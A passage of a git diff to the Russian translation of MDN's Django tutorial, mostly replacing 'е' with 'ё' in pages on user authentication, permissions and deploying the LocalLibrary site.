href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>) когда вы сохраните свой шаблон, и вы должны увидеть что-то наподобие этого:</p> <p><img alt="Library login page v1" src="https://mdn.mozillademos.org/files/14101/library_login.png" style="border-style: solid; border-width: 1px; display: block; height: 173px; margin: 0px auto; width: 441px;"></p> -<p><span id="result_box" lang="ru"><span>Если ваша попытка войти в систему будет успешной, вы будете перенаправлены на другую страницу (по умолчанию это будет <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>).</span> <span>Проблема здесь в том, что по умолчанию Django ожидает, что после входа в систему вы захотите перейти на страницу профиля, что может быть или не быть.</span> <span>Поскольку вы еще не определили эту страницу, вы получите еще одну ошибку!</span><br> +<p><span id="result_box" lang="ru"><span>Если ваша попытка войти в систему будет успешной, вы будете перенаправлены на другую страницу (по умолчанию это будет <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>).</span> <span>Проблема здесь в том, что по умолчанию Django ожидает, что после входа в систему вы захотите перейти на страницу профиля, что может быть или не быть.</span> <span>Поскольку вы ещё не определили эту страницу, вы получите ещё одну ошибку!</span><br> <br> <span>Откройте настройки проекта (<strong>/locallibrary/locallibrary/settings.py</strong>) и добавьте текст ниже.</span> <span>Теперь, когда вы входите в систему, вы по умолчанию должны перенаправляться на домашнюю страницу сайта.</span></span></p> @@ -264,7 +264,7 @@ LOGIN_REDIRECT_URL = '/' <h3 id="Шаблон_выхода">Шаблон выхода</h3> -<p><span id="result_box" lang="ru"><span>Если вы перейдете по URL-адресу выхода (<a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a>), то увидите странное поведение - </span></span>ваш пользователь наверняка выйдет из системы<span lang="ru"><span>, </span></span>но вы попадете на страницу выхода администратора<span lang="ru"><span>.</span> </span>Это не то, что вам нужно, хотя бы потому, что ссылка для входа на этой странице приведет вас к экрану входа в систему администратора.<span lang="ru"><span> (и это доступно только для пользователей, у которых есть разрешение <code>is_staff</code>).</span><br> +<p><span id="result_box" lang="ru"><span>Если вы перейдёте по URL-адресу выхода (<a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a>), то увидите странное поведение - </span></span>ваш пользователь наверняка выйдет из системы<span lang="ru"><span>, </span></span>но вы попадёте на страницу выхода администратора<span lang="ru"><span>.</span> </span>Это не то, что вам нужно, хотя бы потому, что ссылка для входа на этой странице приведёт вас к экрану входа в систему администратора.<span lang="ru"><span> (и это доступно только для пользователей, у которых есть разрешение <code>is_staff</code>).</span><br> <br> <span>Создайте и откройте <strong>/locallibrary/templates/registration/logged_out.html</strong>.</span> <span>Скопируйте текст ниже:</span></span></p> @@ -276,7 +276,7 @@ LOGIN_REDIRECT_URL = '/' <a href="{% url 'login'%}">Click here to login again.</a> {% endblock %}</pre> -<p><span id="result_box" lang="ru"><span>Этот шаблон очень прост.</span> <span>Он просто отображает сообщение, информирующее вас о том, что вы вышли из системы, и предоставляет ссылку, которую вы можете нажать, чтобы вернуться на экран входа в систему.</span> <span>Если вы снова перейдете на страницу выхода из системы, вы увидите эту страницу:</span></span></p> +<p><span id="result_box" lang="ru"><span>Этот шаблон очень прост.</span> <span>Он просто отображает сообщение, информирующее вас о том, что вы вышли из системы, и предоставляет ссылку, которую вы можете нажать, чтобы вернуться на экран входа в систему.</span> <span>Если вы снова перейдёте на страницу выхода из системы, вы увидите эту страницу:</span></span></p> <p><img alt="Library logout page v1" src="https://mdn.mozillademos.org/files/14103/library_logout.png" style="border-style: solid; border-width: 1px; display: block; height: 169px; margin: 0px auto; width: 385px;"></p> @@ -357,7 +357,7 @@ LOGIN_REDIRECT_URL = '/' {% endblock %} </pre> -<h4 id="Сброс_пароля_завершен">Сброс пароля завершен</h4> +<h4 id="Сброс_пароля_завершён">Сброс пароля завершён</h4> <p>Это последний шаблон сброса пароля, который отображается, чтобы уведомить вас о завершении сброса пароля. Создайте /locallibrary/templates/registration/password_reset_complete.html и дайте ему следующее содержание:</p> @@ -371,7 +371,7 @@ LOGIN_REDIRECT_URL = '/' <h3 id="Тестирование_новых_страниц_аутентификации">Тестирование новых страниц аутентификации</h3> -<p>Теперь, когда вы добавили конфигурацию URL и создали все эти шаблоны, теперь страницы аутентификации должны работать! Вы можете протестировать новые страницы аутентификации, попытавшись войти в систему, а затем выйдите из учетной записи суперпользователя, используя эти URL-адреса:</p> +<p>Теперь, когда вы добавили конфигурацию URL и создали все эти шаблоны, теперь страницы аутентификации должны работать! Вы можете протестировать новые страницы аутентификации, попытавшись войти в систему, а затем выйдите из учётной записи суперпользователя, используя эти URL-адреса:</p> <ul> <li><a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a></li> @@ -381,7 +381,7 @@ LOGIN_REDIRECT_URL = '/' <p>Вы сможете проверить функцию сброса пароля по ссылке на странице входа. <strong>Имейте в виду, что Django отправляет только сбросные электронные письма на адреса (пользователи), которые уже хранятся в его базе данных!</strong></p> <div class="note"> -<p><strong>Заметка</strong>: Система сброса пароля требует, чтобы ваш сайт поддерживал электронную почту, что выходит за рамки этой статьи, поэтому эта часть <strong>еще не будет работать.</strong> Чтобы разрешить тестирование, поместите следующую строку в конец файла settings.py. Это регистрирует любые письма, отправленные на консоль (чтобы вы могли скопировать ссылку на сброс пароля с консоли).</p> +<p><strong>Заметка</strong>: Система сброса пароля требует, чтобы ваш сайт поддерживал электронную почту, что выходит за рамки этой статьи, поэтому эта часть <strong>ещё не будет работать.</strong> Чтобы разрешить тестирование, поместите следующую строку в конец файла settings.py. Это регистрирует любые письма, отправленные на консоль (чтобы вы могли скопировать ссылку на сброс пароля с консоли).</p> <pre class="brush: python notranslate">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' </pre> @@ -415,7 +415,7 @@ LOGIN_REDIRECT_URL = '/' <p>Как вы можете видеть, мы используем теги шаблона if-else-endif для условного отображения текста на основе того, является ли \{{user.is_authenticated}} истинным. Если пользователь аутентифицирован, мы знаем, что у нас есть действительный пользователь, поэтому мы вызываем \{{user.get_username}}, чтобы отобразить их имя.</p> -<p>Мы создаем URL-адрес для входа и выхода из системы, используя тег шаблона URL-адреса и имена соответствующих конфигураций URLs. Также обратите внимание на то, как мы добавили <code>?next=\{{request.path}}</code> в конец URLs. Это означает, что следующий URL-адрес содержит адрес (URL) текущей страницы, в конце связанного URL-адреса. После того, как пользователь успешно выполнил вход в систему, представления будут использовать значение "<code>next</code>" чтобы перенаправить пользователя обратно на страницу, где они сначала нажали ссылку входа / выхода из системы.</p> +<p>Мы создаём URL-адрес для входа и выхода из системы, используя тег шаблона URL-адреса и имена соответствующих конфигураций URLs. Также обратите внимание на то, как мы добавили <code>?next=\{{request.path}}</code> в конец URLs. Это означает, что следующий URL-адрес содержит адрес (URL) текущей страницы, в конце связанного URL-адреса. После того, как пользователь успешно выполнил вход в систему, представления будут использовать значение "<code>next</code>" чтобы перенаправить пользователя обратно на страницу, где они сначала нажали ссылку входа / выхода из системы.</p> <div class="note"> <p><strong>Примечание</strong>: Попробуйте! Если вы находитесь на главной странице и вы нажимаете «Вход / Выход» на боковой панели, то после завершения операции вы должны вернуться на ту же страницу.</p> @@ -423,7 +423,7 @@ LOGIN_REDIRECT_URL = '/' <h3 id="Тестирование_в_представлениях">Тестирование в представлениях</h3> -<p>Если вы используете функциональные представления, самым простым способом ограничить доступ к вашим функциям является применение <code>login_required</code> декоратор к вашей функции просмотра, как показано ниже. Если пользователь вошел в систему, ваш код просмотра будет выполняться как обычно. Если пользователь не вошел в систему, это перенаправит URL-адрес входа, определенный в настройках проекта. (<code>settings.LOGIN_URL</code>), передав текущий абсолютный путь в качестве <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">next</span></font> параметра URL. Если пользователю удастся войти в систему, они будут возвращены на эту страницу, но на этот раз аутентифицированы.</p> +<p>Если вы используете функциональные представления, самым простым способом ограничить доступ к вашим функциям является применение <code>login_required</code> декоратор к вашей функции просмотра, как показано ниже. Если пользователь вошёл в систему, ваш код просмотра будет выполняться как обычно. Если пользователь не вошёл в систему, это перенаправит URL-адрес входа, определённый в настройках проекта. (<code>settings.LOGIN_URL</code>), передав текущий абсолютный путь в качестве <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">next</span></font> параметра URL. Если пользователю удастся войти в систему, они будут возвращены на эту страницу, но на этот раз аутентифицированы.</p> <pre class="brush: python notranslate">from django.contrib.auth.decorators import login_required @@ -453,13 +453,13 @@ class MyView(LoginRequiredMixin, View): <h2 id="Пример_-_перечисление_книг_текущего_пользователя">Пример - перечисление книг текущего пользователя</h2> -<p>Теперь, когда мы знаем, как ограничить страницу определенному пользователю, создайте представление о книгах, которые заимствовал текущий пользователь.</p> +<p>Теперь, когда мы знаем, как ограничить страницу определённому пользователю, создайте представление о книгах, которые заимствовал текущий пользователь.</p> <p>К сожалению, у нас пока нет возможности пользователям использовать книги! Поэтому, прежде чем мы сможем создать список книг, мы сначала расширим <code>BookInstance</code> модель для поддержки концепции заимствования и использования приложения Django Admin для заимствования ряда книг нашему тестовому пользователю.</p> <h3 id="Модели">Модели</h3> -<p>Прежде всего, мы должны предоставить пользователям возможность кредита на <code>BookInstance</code> (у нас уже есть <code>status</code> и <code>due_back</code> дата, но у нас пока нет связи между этой моделью и пользователем. Мы создадим его с помощью поля <code>ForeignKey</code> (один ко многим). Нам также нужен простой механизм для проверки того, просрочена ли заемная книга.</p> +<p>Прежде всего, мы должны предоставить пользователям возможность кредита на <code>BookInstance</code> (у нас уже есть <code>status</code> и <code>due_back</code> дата, но у нас пока нет связи между этой моделью и пользователем. Мы создадим его с помощью поля <code>ForeignKey</code> (один ко многим). Нам также нужен простой механизм для проверки того, просрочена ли заёмная книга.</p> <p>Откройте <strong>catalog/models.py</strong>, и импортируйте модель <code>User</code> из <code>django.contrib.auth.models</code> (добавьте это чуть ниже предыдущей строки импорта в верхней части файла, так <code>User</code> доступен для последующего кода, что позволяет использовать его):</p> @@ -538,7 +538,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): def get_queryset(self): return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre> -<p>Чтобы ограничить наш запрос только объектами BookInstance для текущего пользователя, мы повторно реализуем <code>get_queryset()</code>, как показано выше. Обратите внимание, что "o" это сохраненный код для "on loan" и мы сортируем по дате <code>due_back</code>, чтобы сначала отображались самые старые элементы.</p> +<p>Чтобы ограничить наш запрос только объектами BookInstance для текущего пользователя, мы повторно реализуем <code>get_queryset()</code>, как показано выше. Обратите внимание, что "o" это сохранённый код для "on loan" и мы сортируем по дате <code>due_back</code>, чтобы сначала отображались самые старые элементы.</p> <h3 id="URL-адрес_для_заёмных_книг">URL-адрес для заёмных книг</h3> @@ -574,7 +574,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): <p>Этот шаблон очень похож на тот, который мы создали ранее для объектов <code>Book</code> и <code>Author</code>. Единственное, что «новое» здесь, это то, что мы проверяем метод, который мы добавили в модель <code>(bookinst.is_overdue</code>) с целью использовать его для изменения цвета просроченных предметов.</p> -<p>Когда сервер разработки запущен, вы должны теперь иметь возможность просматривать список для зарегистрированного пользователя в своем браузере по адресу <a href="http://127.0.0.1:8000/catalog/mybooks/">http://127.0.0.1:8000/catalog/mybooks/</a>. Попробуйте это, когда ваш пользователь войдет в систему и выйдет из системы (во втором случае вы должны быть перенаправлены на страницу входа в систему).</p> +<p>Когда сервер разработки запущен, вы должны теперь иметь возможность просматривать список для зарегистрированного пользователя в своём браузере по адресу <a href="http://127.0.0.1:8000/catalog/mybooks/">http://127.0.0.1:8000/catalog/mybooks/</a>. Попробуйте это, когда ваш пользователь войдёт в систему и выйдет из системы (во втором случае вы должны быть перенаправлены на страницу входа в систему).</p> <h3 id="Добавить_список_на_боковую_панель">Добавить список на боковую панель</h3> @@ -595,17 +595,17 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): <h3 id="На_что_это_похоже">На что это похоже?</h3> -<p>Когда любой пользователь войдет в систему, он будет видеть ссылку «Мной позаимствовано (<em>My Borrowed)</em>» в боковой колонке, и список книг, показанных ниже (первая книга не имеет установленной даты, что является ошибкой, которую мы надеемся исправить в более позднем уроке!).</p> +<p>Когда любой пользователь войдёт в систему, он будет видеть ссылку «Мной позаимствовано (<em>My Borrowed)</em>» в боковой колонке, и список книг, показанных ниже (первая книга не имеет установленной даты, что является ошибкой, которую мы надеемся исправить в более позднем уроке!).</p> <p><img alt="Library - borrowed books by user" src="https://mdn.mozillademos.org/files/14105/library_borrowed_by_user.png" style="border-style: solid; border-width: 1px; display: block; height: 215px; margin: 0px auto; width: 530px;"></p> <h2 id="Права_доступа">Права доступа</h2> -<p>Права доступа связаны с моделями и определяют операции, которые могут выполняться на экземпляре модели самим пользователем, у которого есть разрешение. По умолчанию Django автоматически дает <em>добавить</em>, <em>изменить</em>, и <em>удалить</em> разрешения у всех моделей, которые позволяют пользователям с правом доступа выполнять связанные действия через администратора сайта. Вы можете определить свои собственные разрешения для моделей и предоставить их конкретным пользователям. Вы также можете изменить разрешения, связанные с разными экземплярами одной и той же модели. Тестирование разрешений в представлениях и шаблонах очень похоже на тестирование по статусу аутентификации (фактически, тестирование прав доступа также проверяет аутентификацию).</p> +<p>Права доступа связаны с моделями и определяют операции, которые могут выполняться на экземпляре модели самим пользователем, у которого есть разрешение. По умолчанию Django автоматически даёт <em>добавить</em>, <em>изменить</em>, и <em>удалить</em> разрешения у всех моделей, которые позволяют пользователям с правом доступа выполнять связанные действия через администратора сайта. Вы можете определить свои собственные разрешения для моделей и предоставить их конкретным пользователям. Вы также можете изменить разрешения, связанные с разными экземплярами одной и той же модели. Тестирование разрешений в представлениях и шаблонах очень похоже на тестирование по статусу аутентификации (фактически, тестирование прав доступа также проверяет аутентификацию).</p> <h3 id="Модели_2">Модели</h3> -<p>Определение разрешений выполняется в разделе моделей "<code>class Meta</code>" , используется <code>permissions</code> поле. Вы можете указать столько разрешений, сколько необходимо в кортеже, причем каждое разрешение определяется во вложенном кортеже, содержащем имя разрешения и отображаемое значение разрешения. Например, мы можем определить разрешение, позволяющее пользователю отметить, что книга была возвращена, как показано здесь:</p> +<p>Определение разрешений выполняется в разделе моделей "<code>class Meta</code>" , используется <code>permissions</code> поле. Вы можете указать столько разрешений, сколько необходимо в кортеже, причём каждое разрешение определяется во вложенном кортеже, содержащем имя разрешения и отображаемое значение разрешения. Например, мы можем определить разрешение, позволяющее пользователю отметить, что книга была возвращена, как показано здесь:</p> <pre class="brush: python notranslate">class BookInstance(models.Model): ... @@ -619,7 +619,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): <h3 id="Шаблоны">Шаблоны</h3> -<p>Разрешения текущего пользователя хранятся в переменной шаблона, называемой <code>\{{ perms }}</code>. Вы можете проверить, имеет ли текущий пользователь определенное разрешение, используя конкретное имя переменной в соответствующем приложении «Django» - например, <code>\{{ perms.catalog.can_mark_returned }}</code> будет <code>True</code> если у пользователя есть это разрешение, а <code>False</code> - в противном случае. Обычно мы проверяем разрешение с использованием шаблона <code>{% if %}</code>, как показано в:</p> +<p>Разрешения текущего пользователя хранятся в переменной шаблона, называемой <code>\{{ perms }}</code>. Вы можете проверить, имеет ли текущий пользователь определённое разрешение, используя конкретное имя переменной в соответствующем приложении «Django» - например, <code>\{{ perms.catalog.can_mark_returned }}</code> будет <code>True</code> если у пользователя есть это разрешение, а <code>False</code> - в противном случае. Обычно мы проверяем разрешение с использованием шаблона <code>{% if %}</code>, как показано в:</p> <pre class="brush: python notranslate">{% if perms.catalog.<code>can_mark_returned</code> %} <!-- We can mark a BookInstance as returned. --> @@ -662,7 +662,7 @@ class MyView(PermissionRequiredMixin, View): <p> Вы должны следовать той же схеме, что и для другого представления. Главное отличие состоит в том, что вам нужно ограничить представление только библиотекарями. Вы можете сделать это на основе того, является ли пользователь сотрудником (декоратор функции: <code>staff_member_required</code>, переменная шаблона: <code>user.is_staff</code>) но мы рекомендуем вам вместо этого использовать <code>can_mark_returned</code> разрешения и <code>PermissionRequiredMixin</code>, как описано в предыдущем разделе.</p> <div class="warning"> -<p><strong>Важно</strong>: Не забудьте использовать вашего суперпользователя для тестирования на основе разрешений (проверки разрешений всегда возвращают true для суперпользователей, даже если разрешение еще не определено!). Вместо этого создайте пользователя-библиотекаря и добавьте необходимые возможности.</p> +<p><strong>Важно</strong>: Не забудьте использовать вашего суперпользователя для тестирования на основе разрешений (проверки разрешений всегда возвращают true для суперпользователей, даже если разрешение ещё не определено!). Вместо этого создайте пользователя-библиотекаря и добавьте необходимые возможности.</p> </div> <p> Когда вы закончите, ваша страница должна выглядеть примерно, как на скриншоте ниже.</p> @@ -674,9 +674,9 @@ class MyView(PermissionRequiredMixin, View): <h2 id="Подводим_итоги">Подводим итоги</h2> -<p> Отличная работа - теперь вы создали веб-сайт, на котором участники библиотеки могут входить в систему и просматривать собственный контент, и библиотекари (с правом доступа) могут просматривать все заемные книги с их читателями. На данный момент мы все еще просто просматриваем контент, но те же принципы и методы используются, когда вы хотите начать изменять и добавлять данные.</p> +<p> Отличная работа - теперь вы создали веб-сайт, на котором участники библиотеки могут входить в систему и просматривать собственный контент, и библиотекари (с правом доступа) могут просматривать все заёмные книги с их читателями. На данный момент мы все ещё просто просматриваем контент, но те же принципы и методы используются, когда вы хотите начать изменять и добавлять данные.</p> -<p> В следующей статье мы рассмотрим, как вы можете использовать формы Django для сбора пользовательского ввода, а затем начнём изменять некоторые из наших сохраненных данных.</p> +<p> В следующей статье мы рассмотрим, как вы можете использовать формы Django для сбора пользовательского ввода, а затем начнём изменять некоторые из наших сохранённых данных.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/learn/server-side/django/deployment/index.html b/files/ru/learn/server-side/django/deployment/index.html index 84601917b8..7fc4e1c101 100644 --- a/files/ru/learn/server-side/django/deployment/index.html +++ b/files/ru/learn/server-side/django/deployment/index.html @@ -13,7 +13,7 @@ original_slug: Learn/Server-side/Django/Разворачивание <div>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div> -<p class="summary">Теперь, когда вы создали (и протестировали) свой шикарный сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, у вас скорее всего, есть желание разместить его на публичном веб-сервере, чтобы он стал доступен через интернет персоналу и посетителям библиотеки. Данная статья дает общее представление о том, каким образом подойти к поиску хостинга для размещения сайта, а также, что нужно сделать чтобы подготовить свой сайт к публикации.</p> +<p class="summary">Теперь, когда вы создали (и протестировали) свой шикарный сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, у вас скорее всего, есть желание разместить его на публичном веб-сервере, чтобы он стал доступен через интернет персоналу и посетителям библиотеки. Данная статья даёт общее представление о том, каким образом подойти к поиску хостинга для размещения сайта, а также, что нужно сделать чтобы подготовить свой сайт к публикации.</p> <table class="learn-box standard-table"> <tbody> @@ -43,16 +43,16 @@ original_slug: Learn/Server-side/Django/Разворачивание <p>Данное руководство предоставляет небольшой обзор выбора хостинга, приготовления сайта к публичному размещению, а также практический пример установки сайта LocalLibrary на облачный сервис <a href="https://www.heroku.com/">Heroku</a>.</p> -<h2 id="Что_такое_окружение_развертывания">Что такое окружение развертывания?</h2> +<h2 id="Что_такое_окружение_развёртывания">Что такое окружение развёртывания?</h2> -<p>Окружение развертывания - это среда, которое предоставляет сервер, на котором вы будете размещать свой веб-сайт для публичного запуска и доступа. Данное окружение включает в себя:</p> +<p>Окружение развёртывания - это среда, которое предоставляет сервер, на котором вы будете размещать свой веб-сайт для публичного запуска и доступа. Данное окружение включает в себя:</p> <ul> <li>Железо на котором будет запускаться сайт.</li> <li>Операционную систему (Linux, Windows).</li> <li>Языки программирования времени выполнения (скриптовые) и библиотеки, которые использует ваш сайт.</li> <li>Веб-сервер, используемый для обслуживания страниц и другого контента (Nginx, Apache).</li> - <li>Сервер приложений, который передает "динамические" запросы между сайтом Django и веб-сервером.</li> + <li>Сервер приложений, который передаёт "динамические" запросы между сайтом Django и веб-сервером.</li> <li>Базу данных, от которой зависит ваш сайт.</li> </ul> @@ -60,15 +60,15 @@ original_slug: Learn/Server-side/Django/Разворачивание <p><strong>Примечание</strong>: У вас может быть потребность в обратном прокси, балансировщике загрузки и так далее.</p> </div> -<p>Сервер может быть вашим собственным с подключением к интернету по скоростному каналу, но более общим подходом является применение "облачных решений". Что действительно имеет значение, так это то, что ваш код запускается на некотором удаленном компьютере (возможно и "виртуальном"), в хостинговом дата-центре. Удаленный сервер обычно предоставляет определенный доступ к компьютерным ресурсам (процессору, оперативной памяти, памяти на жестких носителях и так далее) и соединение с интернетом за некоторую цену.</p> +<p>Сервер может быть вашим собственным с подключением к интернету по скоростному каналу, но более общим подходом является применение "облачных решений". Что действительно имеет значение, так это то, что ваш код запускается на некотором удалённом компьютере (возможно и "виртуальном"), в хостинговом дата-центре. Удалённый сервер обычно предоставляет определённый доступ к компьютерным ресурсам (процессору, оперативной памяти, памяти на жёстких носителях и так далее) и соединение с интернетом за некоторую цену.</p> -<p>Такой тип удаленного доступа к вычислительному/сетевому железу называется <em>Инфраструктура как Сервис (Infrastructure as a Service - IaaS)</em>. Множество IaaS поставщиков предлагают услуги по предустановке какой-либо операционной системы, на которую вы можете установить необходимые для вашего рабочего окружения компоненты. Другие поставщики предлагают вам выбрать уже готовые полноценные рабочие окружения, возможно, включающие в себя Django и настроенный веб-сервер.</p> +<p>Такой тип удалённого доступа к вычислительному/сетевому железу называется <em>Инфраструктура как Сервис (Infrastructure as a Service - IaaS)</em>. Множество IaaS поставщиков предлагают услуги по предустановке какой-либо операционной системы, на которую вы можете установить необходимые для вашего рабочего окружения компоненты. Другие поставщики предлагают вам выбрать уже готовые полноценные рабочие окружения, возможно, включающие в себя Django и настроенный веб-сервер.</p> <div class="note"> <p><strong>Примечание:</strong> Готовые окружения могут сделать настройку вашего веб-сайта очень простой задачей, поскольку они имеют минимальную конфигурацию, однако, либо количество доступных опций может быть недостаточным, или они будут соответствовать устаревшей операционной системе. Часто, более предпочтительно установить необходимые компоненты самостоятельно, таким образом вы получите то, что вам необходимо, а в последующем, при обновлении системы, уже будете знать что нужно делать!</p> </div> -<p>Некоторые провайдеры поддерживают Django как часть своего предложения <em>Платформа как Сервис (Platform as a Service</em> - PaaS). При данном виде хостинга вам не нужно беспокоиться о большей части окружения (веб-сервере, сервере приложений, балансировщике загрузки), так как сама платформа берет это на себя (включая все моменты, касающиеся роста и развития вашего приложения). В данном случае развертывание приложения является достаточно простой задачей, - вам нужно сконцентрироваться только на вашем приложении, а не на инфраструктуре.</p> +<p>Некоторые провайдеры поддерживают Django как часть своего предложения <em>Платформа как Сервис (Platform as a Service</em> - PaaS). При данном виде хостинга вам не нужно беспокоиться о большей части окружения (веб-сервере, сервере приложений, балансировщике загрузки), так как сама платформа берет это на себя (включая все моменты, касающиеся роста и развития вашего приложения). В данном случае развёртывание приложения является достаточно простой задачей, - вам нужно сконцентрироваться только на вашем приложении, а не на инфраструктуре.</p> <p>Некоторые разработчики выбирают более гибкое решение, предоставляемое IaaS, в то время как другие предпочитают иметь наименьшие накладные расходы и простое масштабирование, предоставляемое PaaS. Когда вы только начинаете, то система типа PaaS является предпочтительной и это именно то, что мы будем использовать в данном руководстве.</p> @@ -89,12 +89,12 @@ original_slug: Learn/Server-side/Django/Разворачивание <li>Время непрерывной работы хостинга, а также время и количество простоя.</li> <li>Инструменты, которые предоставляются для управления сайтом — простота и безопасность их использования (SFTP и FTP).</li> <li>Встроенные фреймворки для мониторинга вашего сервера.</li> - <li>Ограничения. Некоторые хостинги могут блокировать некоторые сервисы (например, электронную почту) . Другие предлагают только определенное количество часов "живого времени" за определенную цену, или небольшое количество места для данных.</li> + <li>Ограничения. Некоторые хостинги могут блокировать некоторые сервисы (например, электронную почту) . Другие предлагают только определённое количество часов "живого времени" за определённую цену, или небольшое количество места для данных.</li> <li>Преимущества. Некоторые провайдеры могут предложить бесплатные доменные имена и поддержку сертификатов SSL, которые, в других случаях, должны были бы купить.</li> <li>Что будет при истечении времени использования "бесплатного" хостинга, какова "стоимость" миграции на более "дорогие" тарифы и так далее?</li> </ul> -<p>Хорошей новостью является то, что для того, чтобы начать существует достаточное количество компаний, которые предоставляют пробные "бесплатные" тарифы типа "evaluation" (для пробы), "developer" (разработка), или "hobbyist" (хобби). Всегда существуют ресурсы с ограниченным окружением, при использовании которых вам надо беспокоиться лишь о том, что они могут быть доступны лишь в течении определенного периода времени. Тем не менее, они являются отличным решением для тестирования сайтов с небольшим трафиком в реальном окружении, а также могут предоставлять простой доступ к платным ресурсам, в случае необходимости. Наиболее популярными провайдерами являются <a href="https://www.heroku.com/">Heroku</a>, <a href="https://www.pythonanywhere.com/">Python Anywhere</a>, <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure</a> и так далее.</p> +<p>Хорошей новостью является то, что для того, чтобы начать существует достаточное количество компаний, которые предоставляют пробные "бесплатные" тарифы типа "evaluation" (для пробы), "developer" (разработка), или "hobbyist" (хобби). Всегда существуют ресурсы с ограниченным окружением, при использовании которых вам надо беспокоиться лишь о том, что они могут быть доступны лишь в течении определённого периода времени. Тем не менее, они являются отличным решением для тестирования сайтов с небольшим трафиком в реальном окружении, а также могут предоставлять простой доступ к платным ресурсам, в случае необходимости. Наиболее популярными провайдерами являются <a href="https://www.heroku.com/">Heroku</a>, <a href="https://www.pythonanywhere.com/">Python Anywhere</a>, <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure</a> и так далее.</p> <p>Многие провайдеры имеют "basic" (базовый) тариф, предоставляющий достаточный уровень вычислительной мощности с небольшим количеством ограничений. <a href="https://www.digitalocean.com/">Digital Ocean</a> и <a href="https://www.pythonanywhere.com/">Python Anywhere</a> являются примерами провайдеров, которые предлагают относительно недорогой базовый тариф (от $5 до $10USD в месяц).</p> @@ -104,7 +104,7 @@ original_slug: Learn/Server-side/Django/Разворачивание <h2 id="Подготовка_веб-сайта_к_публикации">Подготовка веб-сайта к публикации</h2> -<p><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Скелет сайта</a> был создан при помощи инструментов <em>django-admin</em> и <em>manage.py</em>, которые настроены таким образом, чтобы сделать разработку проще. Многие настройки файла проекта (определенных в <strong>settings.py</strong>) должны быть изменены перед публикацией сайта, либо из-за вопросов безопасности, либо производительности.</p> +<p><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Скелет сайта</a> был создан при помощи инструментов <em>django-admin</em> и <em>manage.py</em>, которые настроены таким образом, чтобы сделать разработку проще. Многие настройки файла проекта (определённых в <strong>settings.py</strong>) должны быть изменены перед публикацией сайта, либо из-за вопросов безопасности, либо производительности.</p> <div class="note"> <p><strong>Примечание:</strong> Общепринятым решением является иметь отдельный файл <strong>settings.py</strong> для публикации, который импортирует важные настройки из внешних файлов, или из переменных окружения. Доступ к данному файлу должен быть ограничен, даже если остальная часть исходного кода доступна в публичном репозитории.</p> @@ -113,7 +113,7 @@ original_slug: Learn/Server-side/Django/Разворачивание <p>Критически важные настройки файла <strong>settings.py</strong>:</p> <ul> - <li><code>DEBUG</code>. При развертывании сайта должен быть установлен в <code>False</code> (<code>DEBUG = False</code>). Тем самым, прекратится вывод важной отладочной информации.</li> + <li><code>DEBUG</code>. При развёртывании сайта должен быть установлен в <code>False</code> (<code>DEBUG = False</code>). Тем самым, прекратится вывод важной отладочной информации.</li> <li><code>SECRET_KEY</code>. Это большое случайное число, применяемое для защиты от CRSF. Важно, чтобы ключ, используемый в продакшене, не указывался в исходном коде, и/или не запрашивался с другого сервера. Django рекомендует размещать значение ключа либо в переменной окружения, или в файле с доступом только на чтение. <pre class="notranslate"># Чтение SECRET_KEY из переменной окружения import os @@ -129,7 +129,7 @@ with open('/etc/secret_key.txt') as f: <p>Давайте изменим приложение <em>LocalLibrary</em> таким образом, чтобы читать <code>SECRET_KEY</code> и <code>DEBUG</code> из переменных окружения, если те определены, иначе использовать значения по умолчанию.</p> -<p>Откройте <strong>/locallibrary/settings.py</strong>, закомментируйте исходное значение <code>SECRET_KEY</code> и добавьте новые строки, как указано ниже <strong>жирным</strong>. В течении разработки, никаких переменных окружения определено не было, таким образом будут использоваться значения по умолчанию (не имеет значения какой ключ вы используете в процессе разработки, поскольку при развертывании проекта вы будете использовать другой).</p> +<p>Откройте <strong>/locallibrary/settings.py</strong>, закомментируйте исходное значение <code>SECRET_KEY</code> и добавьте новые строки, как указано ниже <strong>жирным</strong>. В течении разработки, никаких переменных окружения определено не было, таким образом будут использоваться значения по умолчанию (не имеет значения какой ключ вы используете в процессе разработки, поскольку при развёртывании проекта вы будете использовать другой).</p> <pre class="brush: python notranslate"># SECURITY WARNING: keep the secret key used in production secret! # SECRET_KEY = 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag' @@ -176,7 +176,7 @@ with open('/etc/secret_key.txt') as f: ">Heroku предоставляет только недолговечное хранилище, поэтому загруженные пользователем файлы нельзя безопасно хранить на самом Heroku.</span></span></li> <li><span id="result_box" lang="ru"><span title="The free tier will sleep an inactive web app if there are no requests within a half hour 